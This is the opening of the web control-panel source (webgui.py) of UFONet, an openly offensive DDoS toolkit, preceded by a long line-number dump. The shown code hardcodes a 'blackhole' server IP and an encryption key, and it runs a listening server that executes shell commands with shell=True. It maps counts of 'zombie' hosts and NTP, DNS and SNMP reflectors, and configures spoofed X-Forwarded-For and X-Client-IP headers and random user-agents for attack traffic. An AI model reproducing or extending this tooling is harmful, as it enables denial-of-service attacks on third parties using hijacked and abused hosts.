webgui.py 514 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883388438853886388738883889389038913892389338943895389638973898389939003901390239033904390539063907390839093910391139123913391439153916391739183919392039213922392339243925392639273928392939303931393239333934393539363937393839393940394139423943394439453946394739483949395039513952395339543955395639573958395939603961396239633964396539663967396839693970397139723973397439753976397739783979398039813982398339843985398639873988398939903991399239933994399539963997399839994000400140024003400440054006400740084009401040114012401340144015401640174018401940204021402240234024402540264027402840294030403140324033403440354036403740384039404040414042404340444045404640474048404940504051405240534054405540564057405840594060406140624063406440654066406740684069407040714072407340744075407640774078407940804081408240834084408540864087408840894090409140924093409440954096409740984099410041014102410341044105410641074108410941104111411241134114411541164117411841194120412141224123412441254126412741284129413041314132413341344135413641374138413941404141414241434144414541464147414841494150415141524153415441554156415741584159416041614162416341644165416641674168416941704171417241734174417541764177417841794180418141824183418441854186418741884189419041914192419341944195419641974198419942004201420242034204420542064207420842094210421142124213421442154216421742184219422042214222422342244225422642274228422942304231423242334234423542364237423842394240424142424243424442454246424742484249425042514252425342544255425642574258425942604261426242634264426542664267426842694270427142724273427442754276427742784279428042814282428342844285428642874288428942904291429242934294429542964297429842994300430143024303430443054306430743084309431043114312431343144315431643174318431943204321432243234324432543264327432843294330433143324333433443354336433743384339434043414342434343444345434643474348434943504351435243534354435543564357435843594360436143624363436443654366436743684369437043714372437343744375437643774378437943804381438243834384438543864387438843894390439143924393439443954396439743984399440044014402440344044405440644074408440944104411441244134414441544164417441844194420442144224423442444254426442744284429443044314432443344344435443644374438443944404441444244434444444544464447444844494450445144524453445444554456445744584459446044614462446344644465446644674468446944704471447244734474447544764477447844794480448144824483448444854486448744884489449044914492449344944495449644974498449945004501450245034504450545064507450845094510451145124513451445154516451745184519452045214522452345244525452645274528452945304531453245334534453545364537453845394540454145424543454445454546454745484549455045514552455345544555455645574558455945604561456245634564456545664567456845694570457145724573457445754576457745784579458045814582458345844585458645874588458945904591459245934594459545964597459845994600460146024603460446054606460746084609461046114612461346144615461646174618461946204621462246234624462546264627462846294630463146324633463446354636463746384639464046414642464346444645464646474648464946504651465246534654465546564657465846594660466146624663466446654666466746684669467046714672467346744675467646774678467946804681468246834684468546864687468846894690469146924693469446954696469746984699470047014702470347044705470647074708470947104711471247134714471547164717471847194720472147224723472447254726472747284729473047314732473347344735473647374738473947404741474247434744474547464747474847494750475147524753475447554756475747584759476047614762476347644765476647674768476947704771477247734774477547764777477847794780478147824783478447854786478747884789479047914792479347944795479647974798479948004801480248034804480548064807480848094810481148124813481448154816481748184819482048214822482348244825482648274828482948304831483248334834483548364837483848394840484148424843484448454846484748484849485048514852485348544855485648574858485948604861486248634864486548664867486848694870487148724873487448754876487748784879488048814882488348844885488648874888488948904891489248934894489548964897489848994900490149024903490449054906490749084909491049114912491349144915491649174918491949204921492249234924492549264927492849294930493149324933493449354936493749384939494049414942494349444945494649474948494949504951495249534954495549564957495849594960496149624963496449654966496749684969497049714972497349744975497649774978497949804981498249834984498549864987498849894990499149924993499449954996499749984999500050015002500350045005500650075008500950105011501250135014501550165017501850195020502150225023502450255026502750285029503050315032503350345035503650375038503950405041504250435044504550465047504850495050505150525053505450555056505750585059506050615062506350645065506650675068506950705071507250735074507550765077507850795080508150825083508450855086508750885089509050915092509350945095509650975098509951005101510251035104510551065107510851095110511151125113511451155116511751185119512051215122512351245125512651275128512951305131513251335134513551365137513851395140514151425143514451455146514751485149515051515152515351545155515651575158515951605161516251635164516551665167516851695170517151725173517451755176517751785179518051815182518351845185518651875188518951905191519251935194519551965197519851995200520152025203520452055206520752085209521052115212521352145215521652175218521952205221522252235224522552265227522852295230523152325233523452355236523752385239524052415242524352445245524652475248524952505251525252535254525552565257525852595260526152625263526452655266526752685269527052715272527352745275527652775278527952805281528252835284528552865287528852895290529152925293529452955296529752985299530053015302530353045305530653075308530953105311531253135314531553165317531853195320532153225323532453255326532753285329533053315332533353345335533653375338533953405341534253435344534553465347534853495350535153525353535453555356535753585359536053615362536353645365536653675368536953705371537253735374537553765377537853795380538153825383538453855386538753885389539053915392539353945395539653975398539954005401540254035404540554065407540854095410541154125413541454155416541754185419542054215422542354245425542654275428542954305431543254335434543554365437543854395440544154425443544454455446544754485449545054515452545354545455545654575458545954605461546254635464546554665467546854695470547154725473547454755476547754785479548054815482548354845485548654875488548954905491549254935494549554965497549854995500550155025503550455055506550755085509551055115512551355145515551655175518551955205521552255235524552555265527552855295530553155325533553455355536553755385539554055415542554355445545554655475548554955505551555255535554555555565557555855595560556155625563556455655566556755685569557055715572557355745575557655775578557955805581558255835584558555865587558855895590559155925593559455955596559755985599560056015602560356045605560656075608560956105611561256135614561556165617561856195620562156225623562456255626562756285629563056315632563356345635563656375638563956405641564256435644564556465647564856495650565156525653565456555656565756585659566056615662566356645665566656675668566956705671567256735674567556765677567856795680568156825683568456855686568756885689569056915692569356945695569656975698569957005701570257035704570557065707570857095710571157125713571457155716571757185719572057215722572357245725572657275728572957305731573257335734573557365737573857395740574157425743574457455746574757485749575057515752575357545755575657575758575957605761576257635764576557665767576857695770577157725773577457755776577757785779578057815782578357845785578657875788578957905791579257935794579557965797579857995800580158025803580458055806580758085809581058115812581358145815581658175818581958205821582258235824582558265827582858295830583158325833583458355836583758385839584058415842584358445845584658475848584958505851585258535854585558565857585858595860586158625863586458655866586758685869587058715872587358745875587658775878587958805881588258835884588558865887588858895890589158925893589458955896589758985899590059015902590359045905590659075908590959105911591259135914591559165917591859195920592159225923592459255926592759285929593059315932593359345935593659375938593959405941594259435944594559465947594859495950595159525953595459555956595759585959596059615962596359645965596659675968596959705971597259735974597559765977597859795980598159825983598459855986598759885989599059915992599359945995599659975998599960006001600260036004600560066007600860096010601160126013601460156016601760186019602060216022602360246025602660276028602960306031603260336034603560366037603860396040604160426043604460456046604760486049605060516052605360546055605660576058605960606061606260636064606560666067606860696070607160726073607460756076607760786079608060816082608360846085608660876088608960906091609260936094609560966097609860996100610161026103610461056106610761086109611061116112611361146115611661176118611961206121612261236124612561266127612861296130613161326133613461356136613761386139614061416142614361446145614661476148614961506151615261536154615561566157615861596160616161626163616461656166616761686169617061716172617361746175617661776178617961806181618261836184618561866187618861896190619161926193619461956196619761986199620062016202620362046205620662076208620962106211621262136214621562166217621862196220622162226223622462256226622762286229623062316232623362346235623662376238623962406241624262436244624562466247624862496250625162526253625462556256625762586259626062616262626362646265626662676268626962706271627262736274627562766277627862796280628162826283628462856286628762886289629062916292629362946295629662976298629963006301630263036304630563066307630863096310631163126313631463156316631763186319632063216322632363246325632663276328632963306331633263336334633563366337633863396340634163426343634463456346634763486349635063516352635363546355635663576358635963606361636263636364636563666367636863696370637163726373637463756376637763786379638063816382638363846385638663876388638963906391639263936394639563966397639863996400640164026403640464056406640764086409641064116412641364146415641664176418641964206421642264236424642564266427642864296430643164326433643464356436643764386439644064416442644364446445644664476448644964506451645264536454645564566457645864596460646164626463646464656466646764686469647064716472647364746475647664776478647964806481648264836484648564866487648864896490649164926493649464956496649764986499650065016502650365046505650665076508650965106511651265136514651565166517651865196520652165226523652465256526652765286529653065316532653365346535653665376538653965406541654265436544654565466547654865496550655165526553655465556556655765586559656065616562656365646565656665676568656965706571657265736574657565766577657865796580658165826583658465856586658765886589659065916592659365946595659665976598659966006601660266036604660566066607660866096610661166126613661466156616661766186619662066216622662366246625662666276628662966306631663266336634663566366637663866396640664166426643664466456646664766486649665066516652665366546655665666576658665966606661666266636664666566666667666866696670667166726673667466756676667766786679668066816682668366846685668666876688668966906691669266936694669566966697669866996700670167026703670467056706670767086709671067116712671367146715671667176718671967206721672267236724672567266727672867296730673167326733673467356736673767386739674067416742674367446745674667476748674967506751675267536754675567566757675867596760676167626763676467656766676767686769677067716772677367746775677667776778677967806781678267836784678567866787678867896790679167926793679467956796679767986799680068016802680368046805680668076808680968106811681268136814681568166817681868196820682168226823682468256826682768286829683068316832683368346835683668376838683968406841684268436844684568466847684868496850685168526853685468556856685768586859686068616862686368646865686668676868686968706871687268736874687568766877687868796880688168826883688468856886688768886889689068916892689368946895689668976898689969006901690269036904690569066907690869096910691169126913691469156916691769186919692069216922692369246925692669276928692969306931693269336934693569366937693869396940694169426943694469456946694769486949695069516952695369546955695669576958695969606961696269636964696569666967696869696970697169726973697469756976697769786979698069816982698369846985698669876988698969906991699269936994699569966997699869997000700170027003700470057006700770087009701070117012701370147015701670177018701970207021702270237024702570267027702870297030703170327033703470357036703770387039704070417042704370447045704670477048704970507051705270537054705570567057705870597060706170627063706470657066706770687069707070717072707370747075707670777078707970807081708270837084708570867087708870897090709170927093709470957096709770987099710071017102710371047105710671077108710971107111711271137114711571167117711871197120712171227123712471257126712771287129713071317132713371347135713671377138713971407141714271437144714571467147714871497150715171527153715471557156715771587159716071617162716371647165716671677168716971707171717271737174717571767177717871797180718171827183718471857186718771887189719071917192719371947195719671977198719972007201720272037204720572067207720872097210721172127213721472157216721772187219722072217222722372247225722672277228722972307231723272337234723572367237723872397240724172427243724472457246724772487249725072517252725372547255725672577258725972607261726272637264726572667267726872697270727172727273727472757276727772787279728072817282728372847285728672877288728972907291729272937294729572967297729872997300730173027303730473057306730773087309731073117312731373147315731673177318731973207321732273237324732573267327732873297330733173327333733473357336733773387339734073417342734373447345734673477348734973507351735273537354735573567357735873597360736173627363736473657366736773687369737073717372737373747375737673777378737973807381738273837384738573867387738873897390739173927393739473957396739773987399740074017402740374047405740674077408740974107411741274137414741574167417741874197420742174227423742474257426742774287429743074317432743374347435743674377438743974407441744274437444744574467447744874497450745174527453745474557456745774587459746074617462746374647465746674677468746974707471747274737474747574767477747874797480748174827483748474857486748774887489749074917492749374947495749674977498749975007501750275037504750575067507750875097510751175127513751475157516751775187519752075217522752375247525752675277528752975307531753275337534753575367537753875397540754175427543754475457546754775487549755075517552755375547555755675577558755975607561756275637564756575667567756875697570757175727573757475757576757775787579758075817582758375847585758675877588758975907591759275937594759575967597759875997600760176027603760476057606760776087609761076117612761376147615761676177618761976207621762276237624762576267627762876297630763176327633763476357636763776387639764076417642764376447645764676477648764976507651765276537654765576567657765876597660766176627663766476657666766776687669767076717672767376747675767676777678767976807681768276837684768576867687768876897690769176927693769476957696769776987699770077017702770377047705770677077708770977107711771277137714771577167717771877197720772177227723772477257726772777287729773077317732773377347735773677377738773977407741774277437744774577467747774877497750775177527753775477557756775777587759776077617762776377647765776677677768776977707771777277737774777577767777777877797780778177827783778477857786778777887789779077917792779377947795779677977798779978007801780278037804780578067807780878097810781178127813781478157816781778187819782078217822782378247825782678277828782978307831783278337834783578367837783878397840784178427843784478457846784778487849785078517852785378547855785678577858785978607861786278637864786578667867786878697870787178727873787478757876787778787879788078817882788378847885788678877888788978907891789278937894789578967897789878997900790179027903790479057906790779087909791079117912791379147915791679177918791979207921792279237924792579267927792879297930793179327933793479357936793779387939794079417942794379447945794679477948
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. #######WORKAROUND PYTHON(3) VERSIONS####################
  11. import platform
  12. python_version = "python"+platform.python_version_tuple()[0]+"."+platform.python_version_tuple()[1]
  13. #######################################################
  14. import socket, threading, re, os, time, random, base64
  15. import webbrowser, subprocess, json, sys, requests
  16. import urllib.request, urllib.error, urllib.parse
  17. from urllib.parse import urlparse as urlparse
  18. from core.tools.crypter import Cipher
  19. from time import gmtime, strftime, strptime
  20. from Cryptodome.Cipher import AES
  21. from hashlib import sha1, sha256
  22. from decimal import Decimal
  23. from random import shuffle
  24. from .options import UFONetOptions
  25. from .main import UFONet
  26. from core.tools.abductor import Abductor
  27. #######SET-YOUR-BLACKHOLE-CONF-HERE###############################D
  28. default_blackhole = '46.163.118.220' # default blackhole (turina.space)#
  29. crypto_key = "U-NATi0n!" # default enc/dec (+moderator board) key #
  30. ###################################################################
  31. browser_init_page = "https://swisscows.com/en" # initial webpage for ship.browser [OK! 20/08/2024]
  32. check_ip_service1 = 'https://checkip.org/' # set external check ip service 1 [OK! 23/07/2022][OK! 20/08/2024]
  33. check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020][OK! 20/08/2024]
  34. check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! [23/07/2022][OK! 20/08/2024]
  35. torrent_seed = "https://ufonet.03c8.net/ufonet/ufonet-v1.9.tar.gz.torrent" # current torrent seed [OK! 21/08/2024]
  36. blackhole_sep = "|" # blackhole stream separator
  37. board_msg_sep = "#!#" # board stream separator
  38. grid_msg_sep = "#?#" # grid stream seperator
  39. wargames_msg_sep = "#-#" # wargames stream seperator
  40. links_msg_sep = "#L#" # links stream separator
  41. streams_msg_sep = "#S#" # streams stream separator
  42. games_msg_sep = "#G#" # games stream separator
  43. globalnet_msg_sep = "#$#" # globalnet stream separator
  44. badkeys = [";", "/"] # some bad keys
  45. host = "0.0.0.0"
  46. port = 9999
  47. class ClientThread(threading.Thread):
  48. def __init__(self, ip, port, socket):
  49. threading.Thread.__init__(self)
  50. self.ip = ip
  51. self.port = port
  52. self.socket = socket
  53. self.pages = Pages()
  54. def run(self):
  55. req = self.socket.recv(2048)
  56. res = self.pages.get(req)
  57. if res is None:
  58. self.socket.close()
  59. return
  60. out = "HTTP/1.0 %s\r\n" % res["code"]
  61. out += "Content-Type: %s\r\n\r\n" % res["ctype"]
  62. out += "%s" % res["html"]
  63. try:
  64. self.socket.send(out.encode('utf-8'))
  65. except:
  66. self.socket.send(out)
  67. self.socket.close()
  68. if "run" in res and len(res["run"]):
  69. subprocess.Popen(res["run"], shell=True)
  70. class Pages():
  71. def file_len(self, fn):
  72. with open(fn) as f:
  73. for i, l in enumerate(f):
  74. pass
  75. return i + 1
  76. def html_army_map(self,target=None):
  77. try:
  78. target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file))+int(self.file_len(self.ntps_file))+int(self.file_len(self.dnss_file))+int(self.file_len(self.snmps_file)) )+"\ninitMap()\n\n"
  79. except:
  80. target_js="not any zombie available\n\n"
  81. if target is not None:
  82. target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
  83. return self.pages["/header"] + """
  84. <link rel="stylesheet" href="/js/style.css" />
  85. <link rel="stylesheet" href="/js/ajaxmap.css" />
  86. <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
  87. <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
  88. <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
  89. <script src="/js/leaflet/leaflet.js"></script>
  90. <script src="/js/cluster/leaflet.markercluster-src.js"></script>
  91. <script src="/js/jquery-1.10.2.min.js"></script>
  92. <script src="/js/rlayer-src.js"></script>
  93. <script src="/js/raphael.js"></script>
  94. <script src="/js/ufo.js"></script>
  95. <script src="/js/ajax.js"></script>
  96. </head><body bgcolor="black" text="black">
  97. <div id="wrapper">
  98. <div id="map" style="width: 100%; height: 100%"></div>
  99. </div>
  100. <script type="text/javascript">
  101. window.onload = function(){
  102. """+target_js+"""
  103. }
  104. </script>
  105. <center>
  106. """ + self.pages["/footer"]
  107. def html_request_submit(self):
  108. return self.pages["/header"]+"""<script>
  109. window.setTimeout(window.close,1234)
  110. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  111. <center>settings updated"""+self.pages["/footer"]
  112. def html_requests(self):
  113. # read requests configuration file (json)
  114. try:
  115. with open(self.mothership_webcfg_file) as data_file:
  116. data = json.load(data_file)
  117. except:
  118. if os.path.exists(self.mothership_webcfg_file) == True:
  119. print('[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n')
  120. return
  121. else: # generate default requests configuration file
  122. print('[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]')
  123. with open(self.mothership_webcfg_file, "w") as f:
  124. json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
  125. # set values of requests configuration from json file to html form
  126. with open(self.mothership_webcfg_file) as data_file:
  127. data = json.load(data_file)
  128. self.agents = [] # generating available user-agents
  129. f = open(self.agents_file)
  130. agents = f.readlines()
  131. f.close()
  132. for agent in agents:
  133. self.agents.append(agent)
  134. self.user_agent = random.choice(self.agents).strip()
  135. self.rproxy = data["rproxy"]
  136. if self.rproxy == "NONE":
  137. self.rproxy = ""
  138. self.ruseragent = data["ruseragent"]
  139. if self.ruseragent == "RANDOM":
  140. self.ruseragent = self.user_agent # random user-agent
  141. self.rreferer = data["rreferer"]
  142. if self.rreferer == "RANDOM":
  143. self.rreferer = self.referer # random referer
  144. self.rhost = data["rhost"]
  145. if self.rhost == "NONE":
  146. self.rhost = ""
  147. self.rxforw = data["rxforw"]
  148. if self.rxforw == "on":
  149. self.rxforw_check = 'checked'
  150. else:
  151. self.rxforw_check = ''
  152. self.rxclient = data["rxclient"]
  153. if self.rxclient == "on":
  154. self.rxclient_check = 'checked'
  155. else:
  156. self.rxclient_check = ''
  157. self.rtimeout = data["rtimeout"]
  158. self.rretries = data["rretries"]
  159. self.rdelay = data["rdelay"]
  160. self.threads = data["threads"]
  161. self.rssl = data["rssl"]
  162. if self.rssl == "on":
  163. self.rssl_check = 'checked'
  164. else:
  165. self.rssl_check = ''
  166. return self.pages["/header"] + """
  167. <script language="javascript">
  168. function Requests() {
  169. var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  170. }
  171. </script>
  172. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  173. <u>Configure requests:</u>
  174. <table cellpadding="2" cellspacing="2">
  175. <form method='GET'>
  176. <tr>
  177. <td> Use proxy server:</td>
  178. <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
  179. </tr>
  180. <tr>
  181. <td> Use another HTTP User-Agent header:</td>
  182. <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
  183. </tr>
  184. <tr>
  185. <td> Use another HTTP Referer header:</td>
  186. <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
  187. </tr>
  188. <tr>
  189. <td> Use another HTTP Host header:</td>
  190. <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
  191. </tr>
  192. <tr>
  193. <td> Set your HTTP X-Forwarded-For with random IP values:</td>
  194. <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
  195. </tr>
  196. <tr>
  197. <td> Set your HTTP X-Client-IP with random IP values:</td>
  198. <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
  199. </tr>
  200. <tr>
  201. <td> Select your timeout:</td>
  202. <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
  203. </tr>
  204. <tr>
  205. <td> Retries when the connection timeouts:</td>
  206. <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
  207. </tr>
  208. <tr>
  209. <td> Delay in seconds between each HTTP request:</td>
  210. <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
  211. </tr>
  212. <tr>
  213. <td> Number of threads:</td>
  214. <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
  215. </tr>
  216. <tr>
  217. <td> Force usage of SSL/HTTPS requests:</td>
  218. <td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
  219. </tr>
  220. </table>
  221. <hr>
  222. <input type="hidden" name="update" value="1">
  223. <input type="submit" value="Set!" onclick="Requests()"></pre>
  224. </form>
  225. """ + self.pages["/footer"]
  226. def html_board_profile_submit(self):
  227. return self.pages["/header"]+"""<script>
  228. window.setTimeout(window.close,1234)
  229. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
